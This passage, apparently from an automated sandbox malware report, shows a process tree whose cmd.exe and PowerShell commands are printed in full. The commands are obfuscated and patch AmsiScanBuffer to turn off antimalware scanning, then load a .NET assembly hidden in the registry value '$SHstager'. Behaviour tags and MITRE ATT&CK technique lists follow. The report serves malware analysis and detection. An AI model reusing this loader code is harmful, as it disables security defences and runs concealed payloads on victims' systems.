eLhuXP.Invoke($Null,@([Object]$VUJnvhO,[Object]('Am'+'s'+''+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+'u'+'f'+'f'+'er')));$FELWSbvRGr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DRNsmzIviwHpSstSY,$SqKbyjFcBTOYQvSlirAmoH).Invoke($kqyouEYpUwLnBnbcM,[uint32]8,4,[ref]$FELWSbvRGr);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](252-115),[Byte](46+164),[Byte](91+93),[Byte](198-111),[Byte](113-113),[Byte](145-138),[Byte](79+49),[Byte](168-37),[Byte](120+114),[Byte](247-247),[Byte](128+67),[Byte](145-14),[Byte](60+175),[Byte](175-175)),0,$kqyouEYpUwLnBnbcM,137-123);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DRNsmzIviwHpSstSY,$SqKbyjFcBTOYQvSlirAmoH).Invoke($kqyouEYpUwLnBnbcM,[uint32]8,0x20,[ref]$FELWSbvRGr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+'F'+'T'+''+'W'+''+'A'+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](83)+''+'H'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:QgPWqaXcRkSd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$fUMFhWzHuUKKWa,[Parameter(Position=1)][Type]$KeHmLDYEoP)$WJGcyMXOOvV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Ref'+[Char](108)+''+'e'+''+[Char](99)+''+[Char](116)+'ed'+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+'M'+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+'y'+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+'e'+''+'T'+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+'l'+[Char](97)+''+'s'+'s'+[Char](44)+''+'P'+''+[Char](117)+'b'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d,A'+'n'+''+[Char](115)+'i'+[Char](67)+'l'+[Char](97)+'ss,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$WJGcyMXOOvV.DefineConstructor('R'+'T'+'S'+'p'+'e'+'c'+''+'i'+''+[Char](97)+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+','+''+'H'+'id'+[Char](101)+''+'B'+'y'+'S'+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$fUMFhWzHuUKKWa).SetImplementationFlags('R'+'u'+''+'n'+''+'t'+''+[Char](105)+''+'m'+'e,'+'M'+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'ed');$WJGcyMXOOvV.DefineMethod(''+'I'+''+[Char](110)+''+'v'+'oke',''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+',V'+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+''+'l'+'',$KeHmLDYEoP,$fUMFhWzHuUKKWa).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'t'+'i'+''+'m'+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $WJGcyMXOOvV.CreateType();}$vghXXpNNwAmfE=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+''+'d'+''+'l'+''+[Char](108)+'')}).GetType(''+'M'+''+'i'+''+'c'+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'ns'+'a'+''+'f'+'e'+'N'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+'M'+''+'e'+''+'t'+'h'+[Char](111)+''+'d'+'s');$pSDiQsvveLhuXP=$vghXXpNNwAmfE.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+'d'+''+[Char](100)+''+[Char](114)+'e'+'s'+'s',[Reflection.BindingFlags](''+[Char](80)+'u'+'b'+'lic,'+[Char](83)+''+[Char](116)+'at'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$fSIfrGKrczeDksrRnhK=QgPWqaXcRkSd @([String])([IntPtr]);$SqKbyjFcBTOYQvSlirAmoH=QgPWqaXcRkSd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$rGQrwvBdNRe=$vghXXpNNwAmfE.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+'a'+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+''+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'')));$BUHNDrUhjAJIOt=$pSDiQsvveLhuXP.Invoke($Null,@([Object]$rGQrwvBdNRe,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+'Li'+'b'+'r'+[Char](97)+'r'+[Char](121)+''+'A'+'')));$DRNsmzIviwHpSstSY=$pSDiQsvveLhuXP.Invoke($Null,@([Object]$rGQrwvBdNRe,[Object]('V'+'i'+'r'+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+'ro'+'t'+''+'e'+''+[Char](99)+''+'t'+'')));$VUJnvhO=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BUHNDrUhjAJIOt,$fSIfrGKrczeDksrRnhK).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+'l'+'');$kqyouEYpUwLnBnbcM=$pSDiQsvveLhuXP.Invoke($Null,@([Object]$VUJnvhO,[Object]('Am'+'s'+''+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+'B'+'u'+'f'+'f'+'er')));$FELWSbvRGr=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DRNsmzIviwHpSstSY,$SqKbyjFcBTOYQvSlirAmoH).Invoke($kqyouEYpUwLnBnbcM,[uint32]8,4,[ref]$FELWSbvRGr);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](252-115),[Byte](46+164),[Byte](91+93),[Byte](198-111),[Byte](113-113),[Byte](145-138),[Byte](79+49),[Byte](168-37),[Byte](120+114),[Byte](247-247),[Byte](128+67),[Byte](145-14),[Byte](60+175),[Byte](175-175)),0,$kqyouEYpUwLnBnbcM,137-123);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DRNsmzIviwHpSstSY,$SqKbyjFcBTOYQvSlirAmoH).Invoke($kqyouEYpUwLnBnbcM,[uint32]8,0x20,[ref]$FELWSbvRGr);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+'F'+'T'+''+'W'+''+'A'+'R'+[Char](69)+'').GetValue(''+'$'+''+[Char](83)+''+'H'+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:XNeONEoHCiIu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EtoromDPHlsZNj,[Parameter(Position=1)][Type]$gkPEfhnjnW)$cQjtbaDkdPN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+'c'+'t'+[Char](101)+''+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+[Char](109)+''+[Char](111)+'ry'+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+'e'+'T'+'y'+[Char](112)+'e','C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+[Char](108)+'ed,'+'A'+''+'n'+'s'+'i'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](65)+'u'+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$cQjtbaDkdPN.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+'e'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+','+'P'+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$EtoromDPHlsZNj).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+'a'+[Char](110)+''+'a'+'g'+[Char](101)+'d');$cQjtbaDkdPN.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+'Sig'+','+'N'+[Char](101)+''+'w'+''+'S'+'l'+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+'l'+'',$gkPEfhnjnW,$EtoromDPHlsZNj).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $cQjtbaDkdPN.CreateType();}$EWfXyBmdMXpXJ=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+'em.'+[Char](100)+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+'t'+''+'.'+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+'a'+'t'+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+'ho'+'d'+''+[Char](115)+'');$YlkLYTvRwBPdjC=$EWfXyBmdMXpXJ.GetMethod('Ge'+[Char](116)+'Proc'+'A'+'d'+[Char](100)+'re'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dNvphNzUEpjnIARJjrS=XNeONEoHCiIu @([String])([IntPtr]);$HLgnnnrDKLxKYHSJoQaJUV=XNeONEoHCiIu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$msPYCySTZKh=$EWfXyBmdMXpXJ.GetMethod('Ge'+'t'+''+[Char](77)+''+'o'+''+'d'+'u'+[Char](108)+'e'+'H'+'a'+'n'+''+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$IqklMvCdhRhKsc=$YlkLYTvRwBPdjC.Invoke($Null,@([Object]$msPYCySTZKh,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$VrJEOoJrcCRVKpxhA=$YlkLYTvRwBPdjC.Invoke($Null,@([Object]$msPYCySTZKh,[Object](''+[Char](86)+''+[Char](105)+'r'+'t'+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$poqWmrr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IqklMvCdhRhKsc,$dNvphNzUEpjnIARJjrS).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+'l');$hkjAnKzrYQyRSzZuM=$YlkLYTvRwBPdjC.Invoke($Null,@([Object]$poqWmrr,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$fUtfOQfxpe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VrJEOoJrcCRVKpxhA,$HLgnnnrDKLxKYHSJoQaJUV).Invoke($hkjAnKzrYQyRSzZuM,[uint32]8,4,[ref]$fUtfOQfxpe);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](243-112),[Byte](223+11),[Byte](204-204),[Byte](87+97),[Byte](164-77),[Byte](77-77),[Byte](230-223),[Byte](203-75),[Byte](72+59),[Byte](167+25),[Byte](63-63),[Byte](103+92),[Byte](178-47),[Byte](113+121),[Byte](26-26)),0,$hkjAnKzrYQyRSzZuM,173-158);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VrJEOoJrcCRVKpxhA,$HLgnnnrDKLxKYHSJoQaJUV).Invoke($hkjAnKzrYQyRSzZuM,[uint32]8,0x20,[ref]$fUtfOQfxpe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](36)+'S'+[Char](72)+'s'+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:XNeONEoHCiIu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$EtoromDPHlsZNj,[Parameter(Position=1)][Type]$gkPEfhnjnW)$cQjtbaDkdPN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+'le'+'c'+'t'+[Char](101)+''+'d'+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+[Char](109)+''+[Char](111)+'ry'+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+'l'+'e'+[Char](103)+''+[Char](97)+''+'t'+'e'+'T'+'y'+[Char](112)+'e','C'+'l'+''+[Char](97)+'s'+'s'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+','+'S'+[Char](101)+''+'a'+''+[Char](108)+'ed,'+'A'+''+'n'+'s'+'i'+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+'s,'+[Char](65)+'u'+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$cQjtbaDkdPN.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+''+'e'+''+'c'+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+'m'+'e'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+'i'+''+[Char](103)+''+','+'P'+'u'+'b'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$EtoromDPHlsZNj).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+','+[Char](77)+'a'+[Char](110)+''+'a'+'g'+[Char](101)+'d');$cQjtbaDkdPN.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+'d'+[Char](101)+'B'+[Char](121)+'Sig'+','+'N'+[Char](101)+''+'w'+''+'S'+'l'+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+''+'l'+'',$gkPEfhnjnW,$EtoromDPHlsZNj).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'Ma'+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $cQjtbaDkdPN.CreateType();}$EWfXyBmdMXpXJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+'t'+'em.'+[Char](100)+''+'l'+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+'f'+''+'t'+''+'.'+''+'W'+''+'i'+''+[Char](110)+''+[Char](51)+'2'+[Char](46)+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+'f'+'e'+''+[Char](78)+''+'a'+'t'+[Char](105)+'v'+[Char](101)+''+[Char](77)+''+'e'+''+'t'+'ho'+'d'+''+[Char](115)+'');$YlkLYTvRwBPdjC=$EWfXyBmdMXpXJ.GetMethod('Ge'+[Char](116)+'Proc'+'A'+'d'+[Char](100)+'re'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+'u'+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+[Char](105)+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$dNvphNzUEpjnIARJjrS=XNeONEoHCiIu @([String])([IntPtr]);$HLgnnnrDKLxKYHSJoQaJUV=XNeONEoHCiIu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$msPYCySTZKh=$EWfXyBmdMXpXJ.GetMethod('Ge'+'t'+''+[Char](77)+''+'o'+''+'d'+'u'+[Char](108)+'e'+'H'+'a'+'n'+''+'d'+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'rn'+[Char](101)+''+'l'+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')));$IqklMvCdhRhKsc=$YlkLYTvRwBPdjC.Invoke($Null,@([Object]$msPYCySTZKh,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+'i'+[Char](98)+'r'+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$VrJEOoJrcCRVKpxhA=$YlkLYTvRwBPdjC.Invoke($Null,@([Object]$msPYCySTZKh,[Object](''+[Char](86)+''+[Char](105)+'r'+'t'+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+[Char](116)+'')));$poqWmrr=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IqklMvCdhRhKsc,$dNvphNzUEpjnIARJjrS).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+'l'+'l');$hkjAnKzrYQyRSzZuM=$YlkLYTvRwBPdjC.Invoke($Null,@([Object]$poqWmrr,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$fUtfOQfxpe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VrJEOoJrcCRVKpxhA,$HLgnnnrDKLxKYHSJoQaJUV).Invoke($hkjAnKzrYQyRSzZuM,[uint32]8,4,[ref]$fUtfOQfxpe);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](243-112),[Byte](223+11),[Byte](204-204),[Byte](87+97),[Byte](164-77),[Byte](77-77),[Byte](230-223),[Byte](203-75),[Byte](72+59),[Byte](167+25),[Byte](63-63),[Byte](103+92),[Byte](178-47),[Byte](113+121),[Byte](26-26)),0,$hkjAnKzrYQyRSzZuM,173-158);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VrJEOoJrcCRVKpxhA,$HLgnnnrDKLxKYHSJoQaJUV).Invoke($hkjAnKzrYQyRSzZuM,[uint32]8,0x20,[ref]$fUtfOQfxpe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+'T'+[Char](87)+'A'+[Char](82)+'E').GetValue(''+[Char](36)+'S'+[Char](72)+'s'+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4020

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:3708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion